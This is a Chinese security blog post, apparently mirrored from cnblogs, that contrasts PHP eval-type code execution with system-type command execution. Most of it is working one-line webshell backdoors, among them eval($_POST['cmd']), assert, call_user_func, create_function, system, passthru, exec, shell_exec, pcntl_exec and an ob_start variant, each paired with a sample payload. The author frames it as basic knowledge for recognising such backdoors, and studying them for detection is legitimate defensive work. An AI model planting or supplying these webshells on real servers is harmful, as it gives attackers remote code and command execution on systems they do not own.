zoukankan      html  css  js  c++  java
  • PHP后门的eval类和system类 函数到底有哪些区别

    一、

      一直以来对PHP的eval这一类函数和system这一类存在疑惑的地方,今天彻底研究了一下,写查PHP一句话的时候可以更有把握一些。其实都是一些满基础的知识,大佬别喷。干安全的基础很重要。

    二、PHP的eval类型函数,一句话:代码执行而不是命令执行。(菜刀用这类)

    1、简单类

     1 //#1-eval
     2 <?php
     3     eval($_POST["cmd"])
     4 ?>
     5 //post:cmd=phpinfo();
     6 
     7 
     8 //#2-assert
     9 <?php
    10     assert($_POST["cmd"])
    11 ?>
    12 //post:cmd=phpinfo();
    13 
    14 
    15 //#3-call_user_func
    16 <?php
    17     call_user_func($_POST["fun"],$_POST["para"])
    18 ?>
    19 //post:fun=assert&para=phpinfo();

    2、复杂类

     1 //#1-create_function
     2 <?php 
     3     $a= $_POST['func'];
     4     $b = create_function('$a',"echo $a");
     5     $b('');
     6 ?>
     7 //post:func=phpinfo();
     8 
     9 
    10 //#2-array_map------->这个不懂先记下来
    11 <?php
    12     $array = array(0,1,2,3,4,5);
    13     array_map($_GET['func'],$array);
    14 ?>
    15 //post:func=phpinfo

    三、PHP的system类型函数,一句话:命令执行而不是代码执行。

     1 //#1-system
     2 <?php system($_POST["cmd"]);?>
     3 
     4 //#2-passthru
     5 <?php passthru($_POST["cmd"]);?>
     6 
     7 //#3-exec
     8 <?php echo exec($_POST["cmd"]);?>
     9 
    10 //#4-pcntl_exec
    11 <?php 
    12     pcntl_exec("/bin/bash",array($_POST["cmd"]));
    13 ?>
    14 
    15 //#5-shell_exec
    16 <?php echo shell_exec($_POST["cmd"]); ?>
    17 
    18 //#6-popen()/proc_popen()
    19 <?php $handle = popen("/bin/ls","r");?>
    20 
    21 //#7-``
    22 <?php echo `whoami`?>

     高深一点的:

    1 <?php
    2 $cmd = 'system';
    3 ob_start($cmd)
    4 echo "$_GET[a]";
    5 ob_end_flush();
    6 ?>//?a=whoami
  • 相关阅读:
    数组中的逆序对★★
    把数组排成最小的数★★★
    丑数★★★
    整数中1出现的次数(从1到n整数中1出现的次数)
    连续子数组的最大和
    每两个字符串中插入字符串
    linux R环境安装以及注意事项
    JAVA调用R脚本 windwos路径下
    springboot 配置多数据源
    springboot 在配置文件写参数注入到类中
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/8127054.html
Copyright © 2011-2022 走看看